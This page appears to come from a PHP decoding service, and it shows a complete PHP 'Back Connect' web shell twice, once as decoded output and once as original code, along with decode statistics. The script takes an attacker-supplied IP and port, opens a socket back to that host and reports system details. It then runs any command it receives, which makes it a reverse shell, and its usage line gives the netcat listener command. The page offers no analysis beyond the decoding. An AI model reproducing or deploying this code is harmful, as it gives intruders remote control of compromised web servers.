Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? print ( '<title>Back Connect</title>' ); echo "<br><b>Php Back Connect<br> ..
Decoded Output download
<?
print ( '<title>Back Connect</title>' );
echo "<br><b>Php Back Connect<br>
Usage: nc -vv -l -p 21<br>
<hr>
<form method='POST' action=''><br>
Your IP & Port:<br>
<input type='text' name='ipim' size='15' value=''>
<input type='text' name='portum' size='5' value='21'><br><br>
<input type='submit' value='Connect'><br><br>
<hr>
</form>";
$ipim=$_POST['ipim'];
$portum=$_POST['portum'];
if ($ipim <> "")
{
$mucx=fsockopen($ipim , $portum , $errno, $errstr );
if (!$mucx){
$result = "Error: didnt connect !!!";
}
else {
$zamazing0="
";
fputs ($mucx ,"
g0t a shell.
");
fputs($mucx , system("uname -a") .$zamazing0 );
fputs($mucx , system("pwd") .$zamazing0 );
fputs($mucx , system("id") .$zamazing0.$zamazing0 );
while(!feof($mucx)){
fputs ($mucx);
$one="[$";
$two="]";
$result= fgets ($mucx, 8192);
$message=`$result`;
fputs ($mucx, $one. system("whoami") .$two. " " .$message."
");
}
fclose ($mucx);
}
}
?>
Did this file decode correctly?
Original Code
<?
print ( '<title>Back Connect</title>' );
echo "<br><b>Php Back Connect<br>
Usage: nc -vv -l -p 21<br>
<hr>
<form method='POST' action=''><br>
Your IP & Port:<br>
<input type='text' name='ipim' size='15' value=''>
<input type='text' name='portum' size='5' value='21'><br><br>
<input type='submit' value='Connect'><br><br>
<hr>
</form>";
$ipim=$_POST['ipim'];
$portum=$_POST['portum'];
if ($ipim <> "")
{
$mucx=fsockopen($ipim , $portum , $errno, $errstr );
if (!$mucx){
$result = "Error: didnt connect !!!";
}
else {
$zamazing0="\n";
fputs ($mucx ,"\ng0t a shell.\n\n");
fputs($mucx , system("uname -a") .$zamazing0 );
fputs($mucx , system("pwd") .$zamazing0 );
fputs($mucx , system("id") .$zamazing0.$zamazing0 );
while(!feof($mucx)){
fputs ($mucx);
$one="[$";
$two="]";
$result= fgets ($mucx, 8192);
$message=`$result`;
fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n");
}
fclose ($mucx);
}
}
?>
Function Calls
None |
Stats
MD5 | c9fac84775b6e81572d93916c9684753 |
Eval Count | 0 |
Decode Time | 96 ms |